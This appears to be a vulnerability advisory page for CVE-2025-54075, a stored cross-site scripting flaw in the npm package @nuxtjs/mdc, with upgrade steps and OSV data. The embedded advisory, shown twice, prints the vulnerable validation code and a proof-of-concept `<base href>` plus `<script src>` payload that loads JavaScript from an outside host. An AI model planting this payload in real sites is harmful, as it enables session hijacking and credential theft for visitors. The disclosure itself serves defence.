CVE-2025-54075: @nuxtjs/mdc Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-cj6r-rrr9-fg82
CVSS 8.3
CWE-79
Published
Advisory Summary

CVE-2025-54075 is a HIGH (CVSS 8.3) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting @nuxtjs/mdc libraries in the npm ecosystem. The issue involves nuxt mdc has an xss vulnerability in markdown rendering that bypasses html filtering. Remediation is available by upgrading affected packages to version 0.17.2.

CVE-2025-54075 at a Glance

CVE Identifier CVE-2025-54075
GHSA Identifier GHSA-cj6r-rrr9-fg82
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product @nuxtjs/mdc
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2025-54075

To remediate this vulnerability, upgrade all affected @nuxtjs/mdc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nuxtjs/mdc fixed: 0.17.2
npm install @nuxtjs/mdc@0.17.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nuxtjs/mdc

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-54075, inspect your project dependencies using npm:

npm ls @nuxtjs/mdc

Analyze the terminal output to locate any version of @nuxtjs/mdc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.17.2), your application is affected.

Note: The npm ls @nuxtjs/mdc command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In @nuxtjs/mdc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. ### Details - **Affected file** : `src/runtime/parser/utils/props.ts` - **Core logic**  : `validateProp()` inspects * attributes that start with `on` → blocked * `href` or `src` → filtered by `isAnchorLinkAllowed()` Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated. ``` export const validateProp = (attribute: string, value: string) => { if (attribute.startsWith('on')) return false if (attribute === 'href' || attribute === 'src') { return isAnchorLinkAllowed(value) } return true // ← “href” on <base> not checked } ``` As soon as `<base href="https://vozec.fr">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain. ### Proof of Concept Place the following in any Markdown handled by Nuxt MDC: ``` <base href="https://vozec.fr"> <script src="/xss.js"></script> ``` 1. Start the Nuxt app (`npm run dev`). 2. Visit the page. 3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it). ### Impact - **Type**: Stored XSS via remote script inclusion - **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…). - **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts. ### Recommendations 1. **Disallow or sanitize `<base>` tags** in the renderer. The safest fix is to strip them entirely. 2. Alternatively, restrict `href` on `<base>` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin. 3. Publish a patched release and document the security fix. 4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.

CVE-2025-54075 Affected @nuxtjs/mdc Versions

1 component(s)
Fixed Versions:
0.17.2
Product / Package Ecosystem Affected Versions Fixed Version
@nuxtjs/mdc
npm
< 0.17.2
0.17.2

References

Frequently Asked Questions

What is CVE-2025-54075?
CVE-2025-54075 is a security vulnerability in @nuxtjs/mdc involving Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which @nuxtjs/mdc versions are affected?
Affected versions include releases prior to 0.17.2 across affected packages: @nuxtjs/mdc.
What version fixes CVE-2025-54075?
Upgrading to 0.17.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nuxtjs/mdc affected?
Yes, @nuxtjs/mdc is affected in releases prior to 0.17.2. Upgrade your dependency to 0.17.2 or later.
What is the CVSS score of CVE-2025-54075?
CVE-2025-54075 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L.
What CWE is associated with CVE-2025-54075?
CVE-2025-54075 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2025-54075?
Run the dependency tree command: 'npm ls @nuxtjs/mdc'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cj6r-rrr9-fg82",
  "modified" : "2025-07-20T16:36:14Z",
  "published" : "2025-07-20T16:36:14Z",
  "aliases" : [ "CVE-2025-54075" ],
  "summary" : "Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering",
  "details" : "### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href=\"https://attacker.tld\">` element.  \nThe `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.\n\n### Details\n- **Affected file** : `src/runtime/parser/utils/props.ts`  \n- **Core logic**  : `validateProp()` inspects  \n  * attributes that start with `on` → blocked  \n  * `href` or `src` → filtered by `isAnchorLinkAllowed()`  \n  Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) => {\n  if (attribute.startsWith('on')) return false\n  if (attribute === 'href' || attribute === 'src') {\n    return isAnchorLinkAllowed(value)\n  }\n  return true               // ← “href” on <base> not checked\n}\n```\n\nAs soon as `<base href=\"https://vozec.fr\">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n<base href=\"https://vozec.fr\">\n<script src=\"/xss.js\"></script>\n```\n\n1. Start the Nuxt app (`npm run dev`).  \n2. Visit the page.  \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion  \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…).  \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `<base>` tags** in the renderer. The safest fix is to strip them entirely.  \n2. Alternatively, restrict `href` on `<base>` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin.  \n3. Publish a patched release and document the security fix.  \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nuxtjs/mdc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.17.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54075"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nuxt-modules/mdc"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-20T16:36:14Z",
    "nvd_published_at" : "2025-07-18T16:15:30Z"
  }
}